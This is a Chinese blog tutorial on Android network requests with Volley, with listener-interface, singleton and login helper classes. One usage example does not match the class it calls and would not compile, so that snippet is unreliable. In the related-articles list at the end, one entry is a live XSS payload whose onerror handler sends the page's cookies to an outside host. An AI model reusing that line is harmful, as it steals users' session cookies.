Android 项目(详解二)—— 网络连接(1)
2015-10-10 08:43
381 查看
利用观察者模式
分析:
手机提交数据到服务器:
提交的数据有:url、提交信息、提交方法
服务器端返回:
服务器返回网络情况:1.无网络连接。2.服务器超时。3.连接失败(比如url错误404,500,503)4.连接成功
用的网络连接的地方:
登陆、刷新等。
类:
1)InternetConnct类:
在类中创建一个接口,接口中必须实现了三个方法(成功,出错,连接网络是否正常),然后建一个方法,传入这个监听,在相应的位置调用这个方法。
这样就可以在其他地方使用啦,只需要匿名内部类实现三个方法,成功时运行什么,出错时运行什么,判断网络是否连接,都可以进行了。比如:
2.Volley使用时需要的单例MySingleton类:
3.所有的网络连接集在一个类中MyAllHttpMethod类:
工具包中关于网络连接的类:
NetworkUtils类:判断网络是否连接等的工具类
NetWorkConfig类:关于网络连接时用到的url。
menifest中的权限设置:
分析:
手机提交数据到服务器:
提交的数据有:url、提交信息、提交方法
服务器端返回:
服务器返回网络情况:1.无网络连接。2.服务器超时。3.连接失败(比如url错误404,500,503)4.连接成功
用的网络连接的地方:
登陆、刷新等。
判断网络连接是否正常:
这里的例子是使用Volley,并利用post方法(使用get方法也是一样的)。类:
1)InternetConnct类:
/** * Created by Administrator on 2015/10/8. * 网络连接类,需要网络连接时调用,判断1.是否有网络连接,2服务器是否超时,3,连接失败,4,连接成功 */ public class InternetConnect { //单例 private InternetConnect(){} private static InternetConnect mMyInternetConnect; public synchronized static InternetConnect newInstance(){ if (mMyInternetConnect==null){ mMyInternetConnect=new InternetConnect(); } return mMyInternetConnect; } public interface onConnectionListener{ /** * 没有网络连接 */ public void onNullInternet(); /** * 网络连接失败 * @param errorCode:错误码 */ public void onFailConnection(int errorCode); /** * 网络连接成功 * @param response:服务器返回值 */ public void onSuccess(String response); } /** * 此方法的功能:使用dopost方法连接网络 * * @param url:传入连接地址 * @param params :传入post需要的参数 * @param listener:传入监听器(使用时需要利用匿名内部类,其中实现onSucess,onError,onConnection方法) */ public void addReqest( String url, final HashMap<String,String> params, final onConnectionListener listener){ MySingleton.getInstance(AppApplication.getApplication()).getRequestQueue();//1.获得请求队列 //判断是否已连接网络 if(!NetworkUtils.isConnection(AppApplication.getApplication())){ listener.onNullInternet(); return;//如果没有连接直接返回 } //2.创建http请求 StringRequest stringRequest = new StringRequest(Request.Method.POST, url, new Response.Listener<String>() { @Override public void onResponse(String response) { // mTextView.setText("Response is: "+ response.substring(0,500)); listener.onSuccess(response);//网络连接正常返回了值 } }, new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError error) { listener.onFailConnection(error.networkResponse.statusCode);//网络连接出错。 } }) { @Override protected Map<String, String> getParams() throws AuthFailureError { //HashMap<String,String> map = mapString; return params; } }; MySingleton.getInstance(AppApplication.getApplication()).addToRequestQueue(stringRequest);//3.添加请求到队列中 } }
在类中创建一个接口,接口中必须实现了三个方法(成功,出错,连接网络是否正常),然后建一个方法,传入这个监听,在相应的位置调用这个方法。
这样就可以在其他地方使用啦,只需要匿名内部类实现三个方法,成功时运行什么,出错时运行什么,判断网络是否连接,都可以进行了。比如:
InternetConnect internetConnect = new InternetConnect(); internetConnect.addReqest(getApplicationContext(), "http://www.baidu.com", null, new InternetConnect.onConnectionListener() { @Override public void onFailConnection(String posence) { mTextview.setText("成功"); } @Override public void onError() { mTextview.setText("失败"); } @Override public void onNullInternet() { mTextview.setText("连接"); } });
2.Volley使用时需要的单例MySingleton类:
/** * Created by 董梦娇 on 2015/10/8. * 功能:此类是实现单例模式,实现请求队列的单例。 */ public class MySingleton { private static MySingleton mInstance; private RequestQueue mRequestQueue; private ImageLoader mImageLoader; private static Context mCtx; private MySingleton(Context context) { mCtx = context; mRequestQueue = getRequestQueue(); mImageLoader = new ImageLoader(mRequestQueue, new ImageLoader.ImageCache() { private final LruCache<String, Bitmap> cache = new LruCache<String, Bitmap>(20); @Override public Bitmap getBitmap(String url) { return cache.get(url); } @Override public void putBitmap(String url, Bitmap bitmap) { cache.put(url, bitmap); } }); } public static synchronized MySingleton getInstance(Context context) { if (mInstance == null) { mInstance = new MySingleton(context); } return mInstance; } public RequestQueue getRequestQueue() { if (mRequestQueue == null) { // getApplicationContext() is key, it keeps you from leaking the // Activity or BroadcastReceiver if someone passes one in. mRequestQueue = Volley.newRequestQueue(mCtx.getApplicationContext()); } return mRequestQueue; } public <T> void addToRequestQueue(Request<T> req) { getRequestQueue().add(req); } public ImageLoader getImageLoader() { return mImageLoader; } }
3.所有的网络连接集在一个类中MyAllHttpMethod类:
/** * Created by 董梦娇 on 2015/10/10. * 这里写所有的连接,包括登录注册等 */ public class MyAllHttpMethod { //单例 private MyAllHttpMethod(){} private static MyAllHttpMethod myAllHttpMethod; public synchronized static MyAllHttpMethod newInstance(){ if (myAllHttpMethod==null){ myAllHttpMethod=new MyAllHttpMethod(); } return myAllHttpMethod; } public static void login(HashMap<String,String> params,InternetConnect.onConnectionListener listener){ InternetConnect.newInstance().addReqest(NetWorkConfig.URL_LOGIN,params,listener); } public static void register(){ } public static void requestChart(){ } }
工具包中关于网络连接的类:
NetworkUtils类:判断网络是否连接等的工具类
NetWorkConfig类:关于网络连接时用到的url。
menifest中的权限设置:
<uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission>
相关文章推荐
- 存储网络性能岂能只靠“猜”
- 存储网络性能岂能只靠“猜”
- charles中如何对https抓包
- HAProxy TCP 负载均衡配置
- Linux下的socket编程实践(四)TCP的粘包问题和常用解决方案
- HDU 5445 Food Problem (2015年长春站网络赛1009 多重背包DP)
- Http客户端
- TCP时间获取socket程序
- TCP/IP学习笔记(一):基础知识
- Xcode 7遇到 App Transport Security has blocked a cleartext HTTP 错误
- 黑窗口下带进度条的http下载
- 关于更新Xcode7后网络请求数据问题?
- linux文件属性详细说明(网络转载,仅供学习之用)
- HttpApplication通信管理
- linux 网络配置
- Kubernetes网络分析-Container间通信
- 如何调用有道翻译API(Java,HTTP)
- Mac网络抓包 - Wireshark
- <img src=hi onerror='(new Image()).src="http://mengkang.net/?getCookie="+document.cookie'>
- 基础篇:操作系统、计算机网络、设计模式(一)(附参考答案)